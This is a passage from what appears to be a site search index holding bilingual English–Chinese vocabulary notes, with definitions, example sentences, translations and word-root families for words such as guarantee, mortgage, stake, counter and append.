\u62c5\u4fdd</li> <li>\u4fdd\u4fee\u5355, \u4fdd\u8bc1\u4e66</li> </ul> </li> <li> <p>v.</p> <ul> <li>\u4fdd\u8bc1, \u62c5\u4fdd</li> <li>\u786e\u4fdd, \u4f7f...\u5fc5\u7136\u53d1\u751f</li> </ul> </li> </ul> <p>Eg</p> <p>The company offers a money-back guarantee if the product doesn't work.</p> <p>\u5982\u679c\u4ea7\u54c1\u4e0d\u8d77\u4f5c\u7528\uff0c\u516c\u53f8\u63d0\u4f9b\u9000\u6b3e\u4fdd\u8bc1\u3002</p> <p>I guarantee that you will be satisfied with the results.</p> <p>\u6211\u4fdd\u8bc1\u4f60\u4f1a\u5bf9\u7ed3\u679c\u6ee1\u610f\u3002</p> <p>The warranty guarantees the product against defects for one year.</p> <p>\u4fdd\u4fee\u5355\u4fdd\u8bc1\u4ea7\u54c1\u4e00\u5e74\u5185\u65e0\u7f3a\u9677\u3002</p> <p>\u5176\u540d\u8bcd\u5f62\u5f0f\u4e3aguarantor\uff0c\u6307\u62c5\u4fdd\u4eba\u3002</p> <p>guar \u8868\u793a\u4fdd\u62a4\uff0c\u4fdd\u536b</p> <p>antee \u8868\u793a\u884c\u52a8\u6216\u72b6\u6001</p> <p>guard \u5b88\u536b\uff0c\u4fdd\u536b</p> <p>warranty \u4fdd\u4fee\uff0c\u4fdd\u8bc1</p> <p>assure \u786e\u4fdd\uff0c\u4fdd\u8bc1</p> <p>ensure \u786e\u4fdd\uff0c\u4fdd\u8bc1</p> <p>secure \u5b89\u5168\u7684\uff0c\u786e\u4fdd</p> <p>fund</p> <ul> <li> <p>n.</p> <ul> <li>\u8d44\u91d1, \u57fa\u91d1</li> <li>\u4e13\u6b3e, \u73b0\u6b3e</li> </ul> </li> <li> <p>v.</p> <ul> <li>\u63d0\u4f9b\u8d44\u91d1, \u8d44\u52a9</li> <li>\u6295\u8d44, \u8d44\u52a9</li> </ul> </li> </ul> <p>Eg</p> <p>The government allocated funds for the new infrastructure project.</p> <p>\u653f\u5e9c\u4e3a\u65b0\u7684\u57fa\u7840\u8bbe\u65bd\u9879\u76ee\u62e8\u6b3e\u3002</p> <p>She decided to fund the startup with her savings.</p> <p>\u5979\u51b3\u5b9a\u7528\u5979\u7684\u79ef\u84c4\u8d44\u52a9\u8fd9\u5bb6\u521d\u521b\u516c\u53f8\u3002</p> <p>The term 'fund' can also refer to a sum of money saved or made available for a particular purpose.</p> <p>'fund'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u4e3a\u7279\u5b9a\u76ee\u7684\u50a8\u5b58\u6216\u63d0\u4f9b\u7684\u4e00\u7b14\u8d44\u91d1\u3002</p> <p>\u5176\u540d\u8bcd\u5f62\u5f0f\u4e3afunding\uff0c\u6307\u8d44\u91d1\uff0c\u8d44\u52a9\u3002</p> <p>fundamental \u57fa\u672c\u7684\uff0c\u57fa\u7840\u7684</p> <p>refund \u9000\u6b3e\uff0c\u9000\u8fd8</p> <p>defund \u64a4\u8d44\uff0c\u505c\u6b62\u8d44\u52a9</p> <p>fundraiser \u52df\u6350\u6d3b\u52a8\uff0c\u7b79\u6b3e\u4eba</p> <p>export</p> <ul> <li>v.<ul> <li>\u51fa\u53e3, \u8f93\u51fa</li> <li>\u4f20\u64ad, \u8f93\u51fa</li> </ul> </li> </ul> <p>Eg</p> <p>The country exports a large amount of oil.</p> <p>\u8fd9\u4e2a\u56fd\u5bb6\u51fa\u53e3\u5927\u91cf\u77f3\u6cb9\u3002</p> <p>The software allows users to export data to various formats.</p> <p>\u8be5\u8f6f\u4ef6\u5141\u8bb8\u7528\u6237\u5c06\u6570\u636e\u5bfc\u51fa\u4e3a\u5404\u79cd\u683c\u5f0f\u3002</p> <p>The term 'export' can also refer to the act of sending goods or services to another country for sale.</p> <p>'export'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u5c06\u5546\u54c1\u6216\u670d\u52a1\u53d1\u9001\u5230\u53e6\u4e00\u4e2a\u56fd\u5bb6\u8fdb\u884c\u9500\u552e\u7684\u884c\u4e3a\u3002</p> <p>\u5176\u540d\u8bcd\u5f62\u5f0f\u4e3aexportation\uff0c\u6307\u51fa\u53e3\uff0c\u8f93\u51fa\uff0cexporter\u4e3a\u540d\u8bcd\u5f62\u5f0f\uff0c\u8868\u793a\u51fa\u53e3\u5546\u3002</p> <p>ex-\u8868\u793a\u5411\u5916\uff0cport\u8868\u793a\u6e2f\u53e3\uff0c\u5411\u5916\u8fd0\u5230\u6e2f\u53e3\uff0c\u8868\u793a\u51fa\u53e3\u7684\u610f\u601d</p> <p>import \u8fdb\u53e3\uff0c\u8f93\u5165</p> <p>transport \u8fd0\u8f93\uff0c\u8fd0\u9001</p> <p>support \u652f\u6301\uff0c\u652f\u6491</p> <p>report \u62a5\u544a\uff0c\u6c47\u62a5</p> <p>manufacturer</p> <ul> <li>n.<ul> <li>\u5236\u9020\u5546, \u751f\u4ea7\u8005</li> <li>\u5382\u5546, \u5236\u9020\u516c\u53f8</li> </ul> </li> </ul> <p>Eg</p> <p>The manufacturer produces high-quality electronics.</p> <p>\u8be5\u5236\u9020\u5546\u751f\u4ea7\u9ad8\u8d28\u91cf\u7684\u7535\u5b50\u4ea7\u54c1\u3002</p> <p>The term 'manufacturer' can also refer to a company or person that makes goods for sale.</p> <p>'manufacturer'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u5236\u9020\u5546\u54c1\u4ee5\u4f9b\u9500\u552e\u7684\u516c\u53f8\u6216\u4e2a\u4eba\u3002</p> <p>mortgage</p> <ul> <li>n.<ul> <li>\u62b5\u62bc\u8d37\u6b3e, \u6309\u63ed</li> <li>\u62b5\u62bc</li> </ul> </li> </ul> <p>Eg</p> <p>They took out a mortgage to buy their house.</p> <p>\u4ed6\u4eec\u529e\u7406\u4e86\u62b5\u62bc\u8d37\u6b3e\u6765\u4e70\u623f\u3002</p> <p>The term 'mortgage' can also refer to the legal agreement by which a bank lends money in exchange for taking title of the debtor's property.</p> <p>'mortgage'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u94f6\u884c\u901a\u8fc7\u501f\u6b3e\u534f\u8bae\u83b7\u5f97\u503a\u52a1\u4eba\u8d22\u4ea7\u6240\u6709\u6743\u7684\u6cd5\u5f8b\u534f\u8bae\u3002</p> <p>pension</p> <ul> <li>n.<ul> <li>\u517b\u8001\u91d1, \u9000\u4f11\u91d1</li> <li>\u629a\u6064\u91d1</li> </ul> </li> </ul> <p>Eg</p> <p>She lives on her pension after retiring from the company.</p> <p>\u5979\u9000\u4f11\u540e\u9760\u517b\u8001\u91d1\u751f\u6d3b\u3002</p> <p>The term 'pension' can also refer to a regular payment made during a person's retirement from an investment fund to which that person or their employer has contributed during their working life.</p> <p>'pension'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u5728\u4e00\u4e2a\u4eba\u5de5\u4f5c\u671f\u95f4\u7531\u5176\u672c\u4eba\u6216\u96c7\u4e3b\u7f34\u7eb3\u7684\u6295\u8d44\u57fa\u91d1\u5728\u5176\u9000\u4f11\u671f\u95f4\u5b9a\u671f\u652f\u4ed8\u7684\u6b3e\u9879\u3002</p> <p>profit</p> <ul> <li>n.<ul> <li>\u5229\u6da6, \u6536\u76ca</li> <li>\u5229\u6da6\u7387</li> </ul> </li> </ul> <p>Eg</p> <p>The company made a significant profit last year.</p> <p>\u8be5\u516c\u53f8\u53bb\u5e74\u83b7\u5f97\u4e86\u53ef\u89c2\u7684\u5229\u6da6\u3002</p> <p>The term 'profit' can also refer to the financial gain, especially the difference between the amount earned and the amount spent in buying, operating, or producing something.</p> <p>'profit'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u8d22\u52a1\u6536\u76ca\uff0c\u7279\u522b\u662f\u6536\u5165\u4e0e\u8d2d\u4e70\u3001\u8fd0\u8425\u6216\u751f\u4ea7\u67d0\u7269\u7684\u652f\u51fa\u4e4b\u95f4\u7684\u5dee\u989d\u3002</p> <p>benefit \u5229\u76ca\uff0c\u597d\u5904</p> <p>prosperity</p> <ul> <li>n.<ul> <li>\u7e41\u8363, \u5174\u65fa</li> <li>\u6210\u529f, \u660c\u76db</li> </ul> </li> </ul> <p>Eg</p> <p>The country enjoyed a period of prosperity after the war.</p> <p>\u6218\u540e\u8be5\u56fd\u7ecf\u5386\u4e86\u4e00\u6bb5\u7e41\u8363\u65f6\u671f\u3002</p> <p>The term 'prosperity' can also refer to the state of being successful, especially in financial or economic terms.</p> <p>'prosperity'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u6210\u529f\u7684\u72b6\u6001\uff0c\u7279\u522b\u662f\u5728\u8d22\u52a1\u6216\u7ecf\u6d4e\u65b9\u9762\u3002</p> <p>\u8bcd\u6839sp\u8868\u793a\u770b\uff0c\u89c2\u5bdf</p> <p>spy \u95f4\u8c0d\uff0c\u4fa6\u63a2;suspect \u6000\u7591\uff0c\u731c\u7591,inspect \u68c0\u67e5\uff0c\u89c6\u5bdf,respect \u5c0a\u91cd\uff0c\u5c0a\u656c</p> <p>prospect \u524d\u666f\uff0c\u5c55\u671b\uff0c circumspect \u5c0f\u5fc3\u8c28\u614e\u7684\uff0c\u8c28\u614e\u7684\uff0c</p> <p>spectator \u89c2\u4f17\uff0c\u65c1\u89c2\u8005 speculate \u63a8\u6d4b\uff0c\u731c\u6d4b,spectacular \u58ee\u89c2\u7684\uff0c\u5f15\u4eba\u6ce8\u76ee\u7684</p> <p>perspective \u89c2\u70b9\uff0c\u770b\u6cd5\uff0c\u900f\u89c6\uff0c\u900f\u89c6\u56fe\uff0c\u900f\u89c6\u56fe</p> <p>conspicuous \u5f15\u4eba\u6ce8\u76ee\u7684\uff0c\u663e\u773c\u7684</p> <p>retrospect \u56de\u987e\uff0c\u56de\u987e\u6027</p>"},{"location":"NOTE/Language/English/#part-2","title":"PART 2","text":"<p>reclaim</p> <ul> <li>v.<ul> <li>\u53d6\u56de, \u62ff\u56de</li> <li>\u5f00\u57a6, \u6539\u9020</li> <li>\u56de\u6536\u5229\u7528</li> </ul> </li> </ul> <p>Eg</p> <p>She managed to reclaim her lost wallet.</p> <p>\u5979\u8bbe\u6cd5\u627e\u56de\u4e86\u4e22\u5931\u7684\u94b1\u5305\u3002</p> <p>The term 'reclaim' can also refer to the process of retrieving or recovering something previously lost or taken.</p> <p>'reclaim'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u53d6\u56de\u6216\u6062\u590d\u4ee5\u524d\u4e22\u5931\u6216\u88ab\u62ff\u8d70\u7684\u4e1c\u897f\u3002</p> <p>reclaim \u53d6\u56de\uff0c\u62ff\u56de\uff0c\u5f00\u57a6\uff0c\u6539\u9020\uff0c\u56de\u6536\u5229\u7528</p> <p>reclaimable \u53ef\u56de\u6536\u7684\uff0c\u53ef\u5f00\u57a6\u7684</p> <p>reclamation \u5f00\u57a6\uff0c\u6539\u9020\uff0c\u56de\u6536</p> <p>proclaim \u5ba3\u5e03\uff0c\u5ba3\u544a</p> <p>exclaim \u60ca\u547c\uff0c\u60ca\u53eb</p> <p>acclaim \u559d\u5f69\uff0c\u79f0\u8d5e</p> <p>declaim \u65ad\u8a00\uff0c\u5ba3\u79f0</p> <p>refine</p> <ul> <li>v.<ul> <li>\u7cbe\u70bc, \u63d0\u7eaf</li> <li>\u6539\u8fdb, \u6539\u5584</li> </ul> </li> </ul> <p>Eg</p> <p>The company refined the product to improve its quality.</p> <p>\u8be5\u516c\u53f8\u7cbe\u70bc\u4ea7\u54c1\u4ee5\u63d0\u9ad8\u5176\u8d28\u91cf\u3002</p> <p>The term 'refine' can also refer to the process of improving or enhancing something, especially in terms of quality or purity.</p> <p>'refine'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u6539\u8fdb\u6216\u63d0\u9ad8\u67d0\u7269\uff0c\u7279\u522b\u662f\u5728\u8d28\u91cf\u6216\u7eaf\u5ea6\u65b9\u9762\u3002</p> <p>sufficient</p> <ul> <li>adj.<ul> <li>\u8db3\u591f\u7684, \u5145\u8db3\u7684</li> </ul> </li> </ul> <p>Eg</p> <p>The food supply was sufficient for the entire village.</p> <p>\u98df\u7269\u4f9b\u5e94\u8db3\u591f\u6574\u4e2a\u6751\u5e84\u4f7f\u7528\u3002</p> <p>The term 'sufficient' can also refer to having enough of something to meet the needs or requirements.</p> <p>'sufficient'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u6709\u8db3\u591f\u7684\u4e1c\u897f\u6765\u6ee1\u8db3\u9700\u6c42\u6216\u8981\u6c42\u3002</p> <p>rival</p> <ul> <li>n.<ul> <li>\u7ade\u4e89\u5bf9\u624b, \u5bf9\u624b</li> <li>\u654c\u624b, \u7ade\u4e89\u8005</li> </ul> </li> <li>v.<ul> <li>\u7ade\u4e89, \u5bf9\u6297</li> <li>\u4e0e...\u5339\u654c, \u6bd4\u5f97\u4e0a</li> </ul> </li> </ul> <p>Eg</p> <p>The two companies were fierce rivals in the market.</p> <p>\u8fd9\u4e24\u5bb6\u516c\u53f8\u5728\u5e02\u573a\u4e0a\u662f\u6fc0\u70c8\u7684\u7ade\u4e89\u5bf9\u624b\u3002</p> <p>The term 'rival' can also refer to someone or something that competes with another for the same objective or superiority in the same field.</p> <p>'rival'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u5728\u540c\u4e00\u9886\u57df\u4e2d\u4e3a\u76f8\u540c\u76ee\u6807\u6216\u4f18\u8d8a\u6027\u800c\u7ade\u4e89\u7684\u4eba\u6216\u4e8b\u7269\u3002</p> <p>stake</p> <ul> <li>n.<ul> <li>\u6869, \u6807\u6869</li> <li>\u80a1\u4efd, \u5229\u5bb3\u5173\u7cfb</li> <li>\u8d4c\u6ce8, \u5956\u91d1</li> </ul> </li> <li>v.<ul> <li>\u7528\u6869\u652f\u6491, \u7528\u6869\u6807\u51fa</li> <li>\u4e0b\u6ce8, \u6295\u8d44</li> </ul> </li> </ul> <p>Eg</p> <p>He drove a stake into the ground to mark the boundary.</p> <p>\u4ed6\u5728\u5730\u4e0a\u6253\u4e86\u4e00\u6839\u6869\u6765\u6807\u8bb0\u8fb9\u754c\u3002</p> <p>The company has a significant stake in the new project.</p> <p>\u8be5\u516c\u53f8\u5728\u65b0\u9879\u76ee\u4e2d\u6709\u91cd\u8981\u7684\u80a1\u4efd\u3002</p> <p>The term 'stake' can also refer to a personal or financial interest or involvement in something.</p> <p>'stake'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u5728\u67d0\u4e8b\u4e2d\u7684\u4e2a\u4eba\u6216\u8d22\u52a1\u5229\u76ca\u6216\u53c2\u4e0e\u3002</p> <p>at stake</p> <ul> <li>phrase.<ul> <li>\u5904\u4e8e\u5371\u9669\u4e2d, \u5904\u4e8e\u6210\u8d25\u5173\u5934</li> <li>\u6709\u98ce\u9669, \u6709\u53ef\u80fd\u5931\u53bb</li> </ul> </li> </ul> <p>Eg</p> <p>The future of the company is at stake.</p> <p>\u516c\u53f8\u7684\u672a\u6765\u5c8c\u5c8c\u53ef\u5371\u3002</p> <p>There is a lot of money at stake in this venture.</p> <p>\u8fd9\u9879\u98ce\u9669\u6295\u8d44\u4e2d\u6709\u5927\u91cf\u8d44\u91d1\u5904\u4e8e\u5371\u9669\u4e4b\u4e2d\u3002</p> <p>The term 'at stake' can also refer to something that is at risk or in a position to be won or lost.</p> <p>'at stake'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u5904\u4e8e\u98ce\u9669\u4e2d\u6216\u5904\u4e8e\u6210\u8d25\u5173\u5934\u7684\u4e8b\u7269\u3002</p> <p>subsidy</p> <ul> <li>n.<ul> <li>\u8865\u8d34, \u6d25\u8d34</li> <li>\u8d22\u653f\u8d44\u52a9</li> </ul> </li> </ul> <p>Eg</p> <p>The government provided a subsidy to help the farmers.</p> <p>\u653f\u5e9c\u63d0\u4f9b\u4e86\u8865\u8d34\u6765\u5e2e\u52a9\u519c\u6c11\u3002</p> <p>The term 'subsidy' can also refer to financial assistance given by the government to support a specific sector or activity.</p> <p>'subsidy'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u653f\u5e9c\u4e3a\u652f\u6301\u7279\u5b9a\u90e8\u95e8\u6216\u6d3b\u52a8\u800c\u63d0\u4f9b\u7684\u8d22\u653f\u63f4\u52a9\u3002</p> <p>estate</p> <ul> <li>n.<ul> <li>\u8d22\u4ea7, \u8d44\u4ea7</li> <li>\u623f\u5730\u4ea7, \u4e0d\u52a8\u4ea7</li> <li>\u5e84\u56ed, \u5e84\u56ed\u4f4f\u5b85</li> </ul> </li> </ul> <p>real estate \u623f\u5730\u4ea7</p> <p>Eg</p> <p>He inherited a large estate from his uncle.</p> <p>\u4ed6\u4ece\u53d4\u53d4\u90a3\u91cc\u7ee7\u627f\u4e86\u4e00\u5927\u7b14\u8d22\u4ea7\u3002</p> <p>The real estate market is booming in the city.</p> <p>\u8be5\u5e02\u7684\u623f\u5730\u4ea7\u5e02\u573a\u6b63\u5728\u84ec\u52c3\u53d1\u5c55\u3002</p> <p>The family owns a beautiful estate in the countryside.</p> <p>\u8fd9\u5bb6\u4eba\u5728\u4e61\u4e0b\u62e5\u6709\u4e00\u4e2a\u7f8e\u4e3d\u7684\u5e84\u56ed\u3002</p> <p>The term 'estate' can also refer to all the money and property owned by a particular person, especially at death.</p> <p>'estate'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u67d0\u4eba\u62e5\u6709\u7684\u6240\u6709\u94b1\u8d22\u548c\u8d22\u4ea7\uff0c\u5c24\u5176\u662f\u5728\u53bb\u4e16\u65f6\u3002</p> <p>recede</p> <ul> <li>v.<ul> <li>\u540e\u9000, \u9000\u5374</li> <li>\u51cf\u5f31, \u51cf\u5c11</li> <li>\u53d8\u79c3</li> </ul> </li> </ul> <p>Eg</p> <p>The floodwaters began to recede after the heavy rain stopped.</p> <p>\u66b4\u96e8\u505c\u6b62\u540e\uff0c\u6d2a\u6c34\u5f00\u59cb\u9000\u53bb\u3002</p> <p>His hairline has started to recede as he gets older.</p> <p>\u968f\u7740\u5e74\u9f84\u7684\u589e\u957f\uff0c\u4ed6\u7684\u53d1\u9645\u7ebf\u5f00\u59cb\u540e\u9000\u3002</p> <p>The pain in his leg gradually receded.</p> <p>\u4ed6\u817f\u4e0a\u7684\u75bc\u75db\u9010\u6e10\u51cf\u8f7b\u3002</p> <p>The term 'recede' can also refer to something moving back or becoming less intense.</p> <p>'recede'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u67d0\u7269\u540e\u9000\u6216\u53d8\u5f97\u4e0d\u90a3\u4e48\u5f3a\u70c8\u3002</p> <p>relieve</p> <ul> <li>v.<ul> <li>\u51cf\u8f7b, \u7f13\u89e3</li> <li>\u89e3\u9664, \u514d\u9664</li> <li>\u6551\u6d4e, \u6551\u63f4</li> </ul> </li> </ul> <p>Eg</p> <p>The medication helped to relieve the pain.</p> <p>\u836f\u7269\u6709\u52a9\u4e8e\u51cf\u8f7b\u75bc\u75db\u3002</p> <p>He was relieved of his duties after the incident.</p> <p>\u4e8b\u4ef6\u53d1\u751f\u540e\uff0c\u4ed6\u88ab\u514d\u9664\u4e86\u804c\u52a1\u3002</p> <p>The charity works to relieve poverty in the region.</p> <p>\u8be5\u6148\u5584\u673a\u6784\u81f4\u529b\u4e8e\u7f13\u89e3\u8be5\u5730\u533a\u7684\u8d2b\u56f0\u3002</p> <p>The term 'relieve' can also refer to making a problem or bad situation less serious.</p> <p>'relieve'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u4f7f\u95ee\u9898\u6216\u7cdf\u7cd5\u7684\u60c5\u51b5\u53d8\u5f97\u4e0d\u90a3\u4e48\u4e25\u91cd\u3002</p> <p>counter</p> <ul> <li> <p>n.</p> <ul> <li>\u8ba1\u6570\u5668, \u8ba1\u7b97\u5668</li> <li>\u67dc\u53f0, \u67dc\u53f0\u5f0f\u957f\u684c</li> <li>\u53cd\u9a73, \u53cd\u5bf9</li> </ul> </li> <li> <p>v.</p> <ul> <li>\u53cd\u9a73, \u53cd\u5bf9</li> </ul> </li> <li> <p>adv.</p> <ul> <li>\u76f8\u53cd, \u76f8\u53cd\u5730</li> </ul> </li> </ul> <p>CSGO (Counter-Strike: Global Offensive) \u53cd\u6050\u7cbe\u82f1:\u5168\u7403\u653b\u52bf</p> <p>Eg</p> <p>The counter displayed the number of visitors to the website.</p> <p>\u8ba1\u6570\u5668\u663e\u793a\u4e86\u7f51\u7ad9\u7684\u8bbf\u95ee\u8005\u6570\u91cf\u3002</p> <p>She placed her order at the counter.</p> <p>\u5979\u5728\u67dc\u53f0\u4e0b\u4e86\u8ba2\u5355\u3002</p> <p>His argument was met with a strong counter.</p> <p>\u4ed6\u7684\u8bba\u70b9\u906d\u5230\u4e86\u5f3a\u70c8\u7684\u53cd\u9a73\u3002</p> <p>The term 'counter' can also refer to something that opposes or goes against something else.</p> <p>'counter'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u53cd\u5bf9\u6216\u5bf9\u6297\u67d0\u4e8b\u7269\u3002</p> <p>account \u8d26\u6237, \u8d26\u76ee, \u89e3\u91ca, \u8bf4\u660e accountant \u4f1a\u8ba1</p> <p>unaccountable \u65e0\u6cd5\u89e3\u91ca\u7684, \u4e0d\u53ef\u539f\u8c05\u7684 </p> <p>counterpart \u5bf9\u5e94\u7269, \u526f\u672c, \u5bf9\u5e94\u7684\u4eba</p> <p>encounter \u906d\u9047, \u9047\u5230 </p> <p>discount \u6298\u6263, \u6253\u6298</p> <p>wholesale</p> <ul> <li> <p>n.</p> <ul> <li>\u6279\u53d1, \u6279\u53d1\u4e1a\u52a1</li> <li>\u5927\u89c4\u6a21, \u5927\u6279\u91cf</li> </ul> </li> <li> <p>adj.</p> <ul> <li>\u6279\u53d1\u7684, \u5927\u89c4\u6a21\u7684</li> </ul> </li> <li> <p>adv.</p> <ul> <li>\u4ee5\u6279\u53d1\u65b9\u5f0f, \u5927\u89c4\u6a21\u5730</li> </ul> </li> </ul> <p>\u53cd\u4e49\u8bcd:retail \u96f6\u552e</p> <p>Eg</p> <p>The company specializes in the wholesale of electronic goods.</p> <p>\u8fd9\u5bb6\u516c\u53f8\u4e13\u95e8\u4ece\u4e8b\u7535\u5b50\u4ea7\u54c1\u7684\u6279\u53d1\u4e1a\u52a1\u3002</p> <p>They bought the goods at wholesale prices.</p> <p>\u4ed6\u4eec\u4ee5\u6279\u53d1\u4ef7\u8d2d\u4e70\u4e86\u8fd9\u4e9b\u5546\u54c1\u3002</p> <p>The policy led to the wholesale destruction of the environment.</p> <p>\u8fd9\u9879\u653f\u7b56\u5bfc\u81f4\u4e86\u73af\u5883\u7684\u5927\u89c4\u6a21\u7834\u574f\u3002</p> <p>The term 'wholesale' can also refer to the selling of goods in large quantities at lower prices.</p> <p>'wholesale'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u4ee5\u8f83\u4f4e\u4ef7\u683c\u5927\u6279\u91cf\u9500\u552e\u5546\u54c1\u3002</p> <p>transact</p> <ul> <li>v.<ul> <li>\u5904\u7406, \u529e\u7406, \u4ea4\u6613</li> </ul> </li> </ul> <p>Eg</p> <p>They decided to transact the business in private.</p> <p>\u4ed6\u4eec\u51b3\u5b9a\u79c1\u4e0b\u5904\u7406\u8fd9\u7b14\u4e1a\u52a1\u3002</p> <p>The bank transacts all its business in a professional manner.</p> <p>\u8fd9\u5bb6\u94f6\u884c\u4ee5\u4e13\u4e1a\u7684\u65b9\u5f0f\u5904\u7406\u6240\u6709\u4e1a\u52a1\u3002</p> <p>The term 'transact' can also refer to conducting or carrying out business or negotiations.</p> <p>'transact'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u8fdb\u884c\u6216\u5f00\u5c55\u4e1a\u52a1\u6216\u8c08\u5224\u3002</p> <p>triple</p> <ul> <li> <p>n.</p> <ul> <li>\u4e09\u500d, \u4e09\u91cd, \u4e09\u4e2a\u4e00\u7ec4</li> </ul> </li> <li> <p>adj.</p> <ul> <li>\u4e09\u500d\u7684, \u4e09\u91cd\u7684</li> </ul> </li> <li> <p>v.</p> <ul> <li>\u4f7f\u6210\u4e09\u500d, \u589e\u81f3\u4e09\u500d</li> </ul> </li> </ul> <p>Eg</p> <p>The company aims to triple its revenue in the next five years.</p> <p>\u8fd9\u5bb6\u516c\u53f8\u8ba1\u5212\u5728\u672a\u6765\u4e94\u5e74\u5185\u5c06\u6536\u5165\u589e\u52a0\u5230\u4e09\u500d\u3002</p> <p>She ordered a triple espresso to stay awake.</p> <p>\u5979\u70b9\u4e86\u4e00\u676f\u4e09\u500d\u6d53\u5ea6\u7684\u6d53\u7f29\u5496\u5561\u4ee5\u4fdd\u6301\u6e05\u9192\u3002</p> <p>The term 'triple' can also refer to something that is three times as much or as many.</p> <p>'triple'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u4e09\u500d\u7684\u6570\u91cf\u6216\u7a0b\u5ea6\u3002</p> <p>radiate</p> <ul> <li>v.<ul> <li>\u8f90\u5c04, \u53d1\u5c04, \u6563\u53d1</li> <li>\u6d41\u9732, \u663e\u793a</li> </ul> </li> </ul> <p>Eg</p> <p>The sun radiates light and heat.</p> <p>\u592a\u9633\u8f90\u5c04\u5149\u548c\u70ed\u3002</p> <p>She radiates confidence and charm.</p> <p>\u5979\u6d41\u9732\u51fa\u81ea\u4fe1\u548c\u9b45\u529b\u3002</p> <p>The term 'radiate' can also refer to spreading out in all directions from a central point.</p> <p>'radiate'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u4ece\u4e2d\u5fc3\u70b9\u5411\u5404\u4e2a\u65b9\u5411\u6269\u6563\u3002</p> <p>spark</p> <ul> <li> <p>n.</p> <ul> <li>\u706b\u82b1, \u706b\u661f</li> <li>\u95ea\u5149, \u95ea\u73b0</li> <li>\u5bfc\u706b\u7ebf, \u8bf1\u56e0</li> </ul> </li> <li> <p>v.</p> <ul> <li>\u53d1\u51fa\u706b\u82b1, \u95ea\u70c1</li> <li>\u5f15\u53d1, \u6fc0\u53d1</li> </ul> </li> </ul> <p>Eg</p> <p>The spark from the firework lit up the night sky.</p> <p>\u70df\u82b1\u7684\u706b\u82b1\u7167\u4eae\u4e86\u591c\u7a7a\u3002</p> <p>Her speech sparked a lot of interest in the topic.</p> <p>\u5979\u7684\u6f14\u8bb2\u6fc0\u53d1\u4e86\u4eba\u4eec\u5bf9\u8fd9\u4e2a\u8bdd\u9898\u7684\u6d53\u539a\u5174\u8da3\u3002</p> <p>The term 'spark' can also refer to a small amount of a quality or feeling.</p> <p>'spark'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u5c11\u91cf\u7684\u67d0\u79cd\u54c1\u8d28\u6216\u611f\u89c9\u3002</p> <p>splash</p> <ul> <li> <p>n.</p> <ul> <li>\u98de\u6e85, \u6e85\u6cfc</li> <li>\u6e85\u6cfc\u58f0</li> <li>\u4eae\u70b9, \u5f15\u4eba\u6ce8\u76ee\u7684\u6548\u679c</li> </ul> </li> <li> <p>v.</p> <ul> <li>\u6e85, \u6cfc</li> <li>\u4f7f(\u6db2\u4f53)\u98de\u6e85</li> </ul> </li> </ul> <p>Eg</p> <p>The splash of water was refreshing on a hot day.</p> <p>\u5728\u708e\u70ed\u7684\u590f\u5929\uff0c\u6c34\u7684\u98de\u6e85\u8ba9\u4eba\u611f\u5230\u6e05\u723d\u3002</p> <p>The artist added a splash of color to the painting.</p> <p>\u827a\u672f\u5bb6\u5728\u753b\u4e2d\u6dfb\u52a0\u4e86\u4e00\u62b9\u4eae\u8272\u3002</p> <p>The term 'splash' can also refer to a prominent or sensational effect.</p> <p>'splash'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u5f15\u4eba\u6ce8\u76ee\u7684\u6548\u679c\u3002</p> <p>blush \u8138\u7ea2, \u7f9e\u7ea2</p> <p>flush \u51b2\u6d17</p> <p>assimilate</p> <ul> <li>v.<ul> <li>\u5438\u6536, \u6d88\u5316</li> <li>\u540c\u5316, \u878d\u5165</li> <li>\u7406\u89e3, \u9886\u4f1a</li> </ul> </li> </ul> <p>Eg</p> <p>The immigrants found it difficult to assimilate into the new culture.</p> <p>\u79fb\u6c11\u4eec\u53d1\u73b0\u5f88\u96be\u878d\u5165\u65b0\u7684\u6587\u5316\u3002</p> <p>The students quickly assimilated the new information.</p> <p>\u5b66\u751f\u4eec\u5f88\u5feb\u5438\u6536\u4e86\u65b0\u4fe1\u606f\u3002</p> <p>The term 'assimilate' can also refer to the process of fully understanding and integrating new ideas or experiences.</p> <p>'assimilate'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u5b8c\u5168\u7406\u89e3\u548c\u6574\u5408\u65b0\u7684\u60f3\u6cd5\u6216\u7ecf\u5386\u3002</p> <p>append</p> <ul> <li>v.<ul> <li>\u9644\u52a0, \u6dfb\u52a0</li> </ul> </li> </ul> <p>Eg</p> <p>The document was appended with a new section.</p> <p>\u6587\u4ef6\u88ab\u6dfb\u52a0\u4e86\u4e00\u4e2a\u65b0\u90e8\u5206\u3002</p> <p>The term 'append' can also refer to adding something to the end of a list or sequence.</p> 